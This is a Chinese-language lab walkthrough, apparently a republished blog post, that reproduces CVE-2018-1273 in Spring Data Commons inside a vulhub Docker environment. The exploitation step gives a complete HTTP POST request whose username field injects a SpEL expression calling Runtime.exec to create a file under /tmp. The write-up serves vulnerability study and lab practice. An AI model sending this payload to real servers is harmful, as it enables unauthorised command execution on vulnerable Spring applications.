CVE-2018-1273 Spring Data Commons 遠程命令執行漏洞復現


一、漏洞描述

  Spring Data是一個用於簡化數據庫訪問,並支持雲服務的開源框架,Spring Data Commons是Spring Data下所有子項目共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表達式注入漏洞,攻擊者可以注入惡意SpEL表達式以執行任意命令。

二、漏洞環境搭建

需要准備的工具如下:

1.docker+vulhub漏洞庫
2.Burpsuite
3.靶機Ubuntu18.04虛擬機(其他也可以)

打開Ubuntu虛擬機,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這里就不多介紹了)

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# 

執行命令

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d

等到出現以下頁面證明已經搭建完成

可以訪問http://your-ip:8080,出現如下頁面證明環境搭建成功!

三、漏洞利用

1、注冊用戶,提交抓包

2、構造payload,進行發包測試

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=

服務器返回如下頁面時,證明攻擊成功!

3、進入Ubuntu環境中,執行

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
進入目錄,查看tmp下的目錄成功出現2333文件,命令執行成功!

4、關閉docker環境

docker-compose down


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM